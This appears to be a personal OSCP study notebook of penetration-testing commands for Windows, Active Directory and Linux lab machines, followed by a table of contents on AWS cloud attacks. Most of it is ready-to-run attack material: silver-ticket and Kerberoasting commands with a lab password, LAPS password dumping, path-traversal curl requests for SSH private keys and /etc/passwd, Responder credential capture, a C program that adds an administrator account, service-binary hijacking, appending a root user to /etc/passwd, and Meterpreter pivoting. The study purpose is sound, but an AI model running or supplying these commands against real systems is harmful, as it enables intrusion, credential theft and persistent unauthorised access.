# Set the ticket location
export KRB5CCNAME=$PWD/Administrator.ccache

# This differs from the usual approach, where importing a ticket through KRB5CCNAME is sufficient
# Importing a silver ticket appears to also require the configuration file below
/etc/krb5user.conf
[libdefaults]
 default_realm = NAGOYA-INDUSTRIES.COM
 kdc_timesync = 1
 ccache_type = 4
 forwardable = true
 proxiable = true
 rdns = false
 dns_canonicalize_hostname = false
 fcc-mit-ticketflags = true

[realms]
 NAGOYA-INDUSTRIES.COM = {
 kdc = nagoya.nagoya-industries.com
 }

[domain_realm]
 .nagoya-industries.com = NAGOYA-INDUSTRIES.COM

# Connect to MSSQL, preferably with Impacket
impacket-mssqlclient -k nagoya.nagoya-industries.com

Kerberos configuration-file search order:

Location specified by the KRB5_CONFIG environment variable
/etc/krb5.conf (default location)
/etc/krb5user.conf
~/.krb5user.conf

# Only modify these sections:
default_realm = YOUR.DOMAIN.COM # Domain name
[realms]
YOUR.DOMAIN.COM = {
 kdc = dc.your.domain.com # Domain controller
}
[domain_realm]
.your.domain.com = YOUR.DOMAIN.COM # Domain mapping

Other settings can remain unchanged:
kdc_timesync
ccache_type
forwardable
proxiable
rdns
These control Kerberos behavior and usually do not need modification.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


# If BloodHound shows GenericWrite over a user, that user's SPN can be modified
# Then obtain a TGT; this is an interesting technique
targetedKerberoast.py -v -d 'hokkaido-aerospace.com' -u 'hrapp-service' -p 'Untimed$Runny' --dc-ip 192.168.208.40
https://wadcoms.github.io/wadcoms/targetedKerberoast/

targetedKerberoast differs from ordinary Kerberoasting:
Ordinary Kerberoasting:
powershellCopy# Any domain user can run this
Get-DomainUser -SPN # Enumerate all SPNs
Rubeus.exe kerberoast # Request tickets for all SPNs

Targeted Kerberoasting:
Requires GenericWrite permission
Can temporarily add an SPN to a normal user
Remove the SPN after obtaining the ticket

1
2
3
4
5
6


# This can be found in BloodHound
# The current user has ReadLAPSPassword permission
# This allows reading local-administrator passwords for domain machines

ldapsearch -v -c -D username@domain.com -w password -b "DC=domain,DC=com" -H ldap://DC_IP "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
ldapsearch -v -c -D fmcsorley@hutch.offsec -w CrabSharkJellyfish192 -b "DC=hutch,DC=offsec" -H ldap://$IP "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

100.Some OSCP Details

Arbitrary File Read

Arbitrary file reads are mostly useful for grabbing important data such as SSH private keys. Reading one in a browser can mangle its formatting, though. I had run into this before and never found a good solution—I would guess the line lengths and add the line breaks one by one. OSCP called out a much cleaner approach.

It turns out that curl is all you need.

1
2
3
4


curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa

--path-as-is
This argument prevents curl from normalizing ../../ into /

Directory Wordlists for Testing

1
2
3
4


C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\

Apache 2.4.49 Directory Traversal Vulnerability

1
2
3


curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd --path-as-is

curl http://192.168.50.16/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/opt/passwd --path-as-is

responder

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


ip a
sudo responder -I tun0
sudo responder -I tun0 -v

An interesting case
When a domain host has an SSRF vulnerability, I usually make it send an HTTP request to the attacker machine
HTTP requests usually require no authentication, so they do not carry HTLM
SMB and WebDAV do carry it and can be combined with a pseudo-protocol
file:////192.168.45.184/share
Or WebDAV
http://192.168.45.184/share

Situational Awareness and Information Gathering (Very Important) for Windows Privilege Escalation

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


# All groups to which the current user belongs
whoami /groups

powershell
# Local users, enabled status, and descriptions
Get-LocalUser

# Local groups
Get-LocalGroup

# Use the group name above as an argument to view its members
Get-LocalGroupMember adminteam

# Routing table
route print

# View all applications
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

# View processes
Get-Process

# Similar to find; the approach is useful
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue

# Transcript files may contain credentials
C:\Users\Public\Transcripts\transcript01.txt

# Search history
(Get-PSReadlineOption).HistorySavePath

# Files that may contain passwords
C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml
C:\Users\dave\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt
C:\Users\dave\AppData\Local\Packages\MicrosoftTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt

# Existing services
# This filters out services that are not running
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

# Show all services
Get-CimInstance -ClassName win32_service | Select Name,State,PathNam

1
2


# View file permissions
icacls "C:\xampp\apache\bin\httpd.exe"

Mask	Permissions
F	Full access
M	Modify access
RX	Read and execute access
R	Read-only access
W	Write-only access

When replacing a service executable, you can compile one yourself.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


adduser.c

```c

#include &lt;stdlib.h&gt;

int main ()
{
int i;

i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");

return 0;
}

```text
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

Then use net stop or net start on the service

# View the target service's startup type
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}

AUTO means automatic startup

PowerUp.ps1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


powershell -ep bypass
. .\PowerUp.ps1

# Show modifiable services
Get-ModifiableServiceFile

# Replace the binary in one step; by default, this creates a local user named john with password Password123!
Install-ServiceBinary -Name 'mysql'

# Manual test: check permissions
PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe' | Get-ModifiablePath -Literal
PS C:\Users\dave> $ModifiableFiles

ModifiablePath IdentityReference Permissions
-------------- ----------------- -----------
C:\xampp\mysql\bin\mysqld.exe BUILTIN\Users {WriteOwner, Delete, WriteAttributes, Synchronize...}

PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe argument' | Get-ModifiablePath -Literal

PS C:\Users\dave> $ModifiableFiles

ModifiablePath IdentityReference Permissions
-------------- ----------------- -----------
C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, WriteAttributes, Synchronize, ReadControl...}
C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, GenericWrite, GenericExecute, GenericRead}

PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe argument -conf=C:\test\path' | Get-ModifiablePath -Literal

PS C:\Users\dave> $ModifiableFiles

DLL Hijacking

1
2
3
4


Principle: use the command below to identify the software version, then search for an exploit by vulnerability type
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

FileZilla FTP 3.63.1 is vulnerable to DLL hijacking

Unquoted Service Paths (A Very Important and Interesting Trick)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


# Enumerate running and stopped services
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
wmic service get name,displayname,pathname,startmode |findstr /i "auto"

For example, the configured path below is unquoted
C:\Program Files\My Program\My Service\service.exe
Principle
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe

Then restart the service

In this example, we could name the executable Program.exe and place it in C:, name it My.exe and place it in C:\Program Files, or name it My.exe and place it in C:\Program Files\My Program. The first two options require permissions we are unlikely to have because standard users cannot write to those directories by default. The third is more plausible because it is the application’s main directory. If an administrator or developer configured its permissions too loosely, we can place a malicious binary there.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# Detailed command

icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Enterprise Apps"

Find a directory where the current user has W permission, then place an EXE file there
After finding one, run the command below
Stop-Service GammaService
Start-Service GammaService

This is another PowerUp.ps1 technique.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


PowerUp.ps1
. .\PowerUp.ps1
# Like the above, output vulnerable services
Get-UnquotedService
# Select the write path
Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
# Restart the service
Restart-Service GammaService

The default behavior creates a new local user named john with password Password123!

Scheduled Task Privilege Escalation

1
2
3
4
5
6
7
8


# View scheduled tasks
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr /i "Every:"
schtasks /query /fo LIST /v | findstr /i /C:"TaskName" /C:"Every:" /C:"Task To Run:"
# Identify the specific task
schtasks /query /tn "\Microsoft\Windows\SomeTask" /fo LIST /v
# Confirm permissions, then replace it
icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe

Exploit-Based Privilege Escalation

1
2
3


whoami /priv
systeminfo
Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }

Linux Privilege Escalation (Information Gathering)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


ls -l /etc/shadow
cat /etc/issue
cat /etc/os-release
uname -a
ps aux
ip a
routel	#Routing table
ss -anp	#All connections
cat /etc/iptables/rules.v4	#Firewall configuration
ls -lah /etc/cron*					#Scheduled tasks
crontab -l		#Scheduled tasks
dpkg -l				#Installed applications
find / -writable -type d 2>/dev/null	#Writable directories
cat /etc/fstab		#Show mounted drives
mount					#Mounted filesystems
lsblk					#View available disks
lsmod					#View loaded kernel modules
/sbin/modinfo libata	#View more information about the module identified above
.bashrc				#Script that automatically sets environment variables and may contain useful information
env						#View environment variables that may contain useful information
watch -n 1 "ps -aux | grep pass"		#Similar to a lightweight pspy32
sudo tcpdump -i lo -A | grep "pass"	#Capture traffic
grep "CRON" /var/log/syslog					#View automated tasks in system logs; also similar to a lightweight pspy32
/usr/sbin/getcap -r / 2>/dev/null		#Privilege escalation with cap_setuid+ep
searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep "4." | grep -v " < 4.4.0" | grep -v "4.8"
# A searchsploit technique

/etc/passwd Abuse

1
2


openssl passwd w00t
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd

How to Build a New Wordlist

1
2


# Generate new passwords from a base password according to minimum and maximum lengths
crunch 6 6 -t Lab%%% > wordlist

Windows Privilege Escalation

I am only noting part of it here, mostly as a reminder.

1
2
3
4
5


When all other methods fail, inspect the winPEASany.exe output carefully
It is comprehensive; the manual methods below cover information already integrated into winPEASany.exe
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#putty-ssh-host-keys
Service privilege escalation
wmic service get name,displayname,pathname,startmode |findstr /i "auto"

msf Post-Exploitation

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


# Indicates whether the target machine is in use; the output below means the user has been away for nine minutes
idletime
User has been idle for: 9 mins 53 secs

# First action
getsystem

# Process migration
migrate 8052

# Start a hidden Notepad process and migrate into it
execute -H -f notepad
migrate 8052

# Run this first in PowerShell to bypass the system execution-policy restriction
PowerShell -ExecutionPolicy Bypass
powershell -ep bypass

# Port forwarding
portfwd add -l 3389 -p 3389 -r 172.16.5.200

# Configure the proxy
use auxiliary/server/socks_proxy
show options
set SRVHOST 127.0.0.1
set VERSION 5
run -j

This creates a SOCKS5 proxy on local port 1080 for use with proxychains

101.Some OSCP Ideas

I came across some interesting lessons while reading oscptext. These ideas are worth writing down.

When you find an arbitrary file read, do not blindly trust the PoC. Remember to test it manually—the PoC itself may simply fail.

For file inclusion, try writing to a log and then reading it: ../../../../../../../../../var/log/apache2/access.log /opt/admin.bak.php

File uploads can sometimes overwrite existing files. Try overwriting the public key.

i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32

UAC bypass is a pretty interesting technique. After Import-Module NtObjectManager, Get-NtTokenIntegrityLevel will tell you the integrity level. If it is Medium, you can try a UAC bypass.

102.Post-Exploitation Scripts

https://github.com/rebootuser/LinEnum

https://linpeas.sh/

https://github.com/DominicBreuker/pspy

aes:https://tool.lmeee.com/jiami/aes

rsa:https://www.bejson.com/enc/rsa/

phpinfo LFI race condition: https://github.com/vulhub/vulhub/tree/master/php/inclusion

SSH tunneling: https://wangdoc.com/ssh/port-forwarding, https://harttle.land/2022/05/02/ssh-port-forwarding.html

Windows exploit analysis: https://github.com/AonCyberLabs/Windows-Exploit-Suggester

Windows EternalBlue series: https://github.com/SecWiki/windows-kernel-exploits

Penetration Testing on MentalityXt

AWS Cloud Penetration Testing

Exploiting the EC2 Instance Metadata Service (IMDS)

Practical AWS Metadata Service Exploitation

Attaching an IAM Role to EC2

Important EC2 Metadata Service Endpoints

IAM Penetration Testing (Role Switching & Permission Abuse)

Role Switching with sts:AssumeRole

Theory

Lab Setup

Reproduction and Verification

Additional Notes

Abusing the iam:PassRole Permission

Theory

Lab Setup

Reproduction and Verification

Additional Notes

Reading Policies with iam:GetPolicyVersion

Theory

Lab Setup

Listing All Managed Policies in the Account

Querying a Policy’s Default Version

Reading the Full Policy Document

Querying Policies Attached to a User

Querying Policies Attached to a Role

Querying Policies Attached to a Group

Reproduction and Verification

Additional Notes

iam:CreateAccessKey: Creating a New Access Key

Theory

Setting Up the Environment

Reproduction and Verification

Additional Notes

Additional IAM Penetration Techniques

iam:CreateUser (Creating a New IAM User)

iam:AttachUserPolicy (Attaching a High-Privilege Policy to a Low-Privilege User)

Closing Thoughts on IAM Penetration Testing

Storage Service (S3) Attack Surface

S3 Bucket Enumeration

Access Control for S3 Buckets

S3 Bucket Enumeration Methods

Manual Verification

Tool-Based Probing

Bypassing Bucket Policies

Incorrect Bucket Policy: Cross-Account Access Vulnerability

Presigned URL Hijacking

Data Exfiltration and Persistence

Downloading Sensitive Files from S3

Stealing RDS Database Snapshots

1. Check Whether an RDS Snapshot Can Be Created

2. View RDS Snapshots in the Current Account

3. Share the Snapshot with the Attacker’s Account

4. Restore RDS in the Attacker’s Account

5. Copy RDS to Remove the Original Encryption (More Complex)

Create a New KMS Key

Copy the Snapshot Using the New KMS Key

Allow the Target Account to Access This KMS Key

Share the New Snapshot

Creating a Backdoor User (Stealthy Backdoor Technique)

Steps for Creating a Backdoor User

1. Create a Discreet IAM User

2. Create an Access Key for the User

3. Give the User Discreet Administrator Permissions

4. Hide the User Further

Shadow Account Technique

Advanced Attack Techniques

AWS CLI Credential Leaks

Where AWS CLI Credentials Are Stored

Common Ways AWS CLI Credentials Get Leaked

1. Leaks in Source Code

2. Leaks in Logs

3. Shell History

4. Environment Variable Leaks

5. Attacking the AWS Instance Metadata Service (IMDS)

Exploiting Leaked AWS CLI Credentials

Check Whether the Credentials Are Valid

Enumerate Permissions in the AWS Account

Escalate Privileges to Administrator

Establish Persistent Backdoor Access

Summary of AWS CLI Credential Leaks

Querying a Policy’s `Default Version`

`iam:CreateUser` (Creating a New IAM User)

`iam:AttachUserPolicy` (Attaching a High-Privilege Policy to a Low-Privilege User)

2. Inject a Reverse Shell into EC2 `UserData`

3. Mounting `/var/run/docker.sock` to Access the Host